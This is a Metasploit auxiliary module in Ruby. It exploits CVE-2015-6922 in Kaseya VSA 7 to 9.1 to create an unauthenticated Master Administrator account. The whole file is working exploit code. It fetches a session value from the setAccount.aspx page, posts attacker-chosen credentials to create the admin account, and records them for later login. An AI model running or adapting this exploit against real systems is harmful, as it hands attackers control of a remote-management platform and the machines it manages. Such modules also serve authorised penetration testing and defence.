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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Kaseya VSA Master Administrator Account Creation',
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        'Description' => %q{
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          This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
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          Master Administrator account. Normally this page is only accessible via the localhost
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          interface, but the application does nothing to prevent this apart from attempting to
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          force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
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          v9.0.0.3.
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        },
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        'Author' => [
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          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2015-6922'],
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          ['ZDI', '15-448'],
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          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
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          ['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
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        ],
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        'DisclosureDate' => '2015-09-23',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
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        OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
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        OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
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        OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
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      ]
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    )
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  end
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  def run
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
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      'method' => 'GET'
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    })
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    if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
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      session_val = ::Regexp.last_match(1)
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    else
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      print_error('Failed to get sessionVal')
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      return
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    end
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    print_status("Got sessionVal #{session_val}, creating Master Administrator account")
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
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      'method' => 'POST',
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      'vars_post' => {
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        'sessionVal' => session_val,
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        'adminName' => datastore['KASEYA_USER'],
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        'NewPassword' => datastore['KASEYA_PASS'],
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        'confirm' => datastore['KASEYA_PASS'],
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        'adminEmail' => datastore['EMAIL'],
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        'setAccount' => 'Create'
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      }
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    })
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    unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
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      print_error('Master Administrator account creation failed')
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      return
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    end
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    print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
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    connection_details = {
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      module_fullname: fullname,
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      username: datastore['KASEYA_USER'],
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      private_data: datastore['KASEYA_PASS'],
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      private_type: :password,
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      workspace_id: myworkspace_id,
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      access_level: 'Master Administrator',
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      status: Metasploit::Model::Login::Status::UNTRIED
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    }.merge(service_details)
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    create_credential_and_login(connection_details)
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  end
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end
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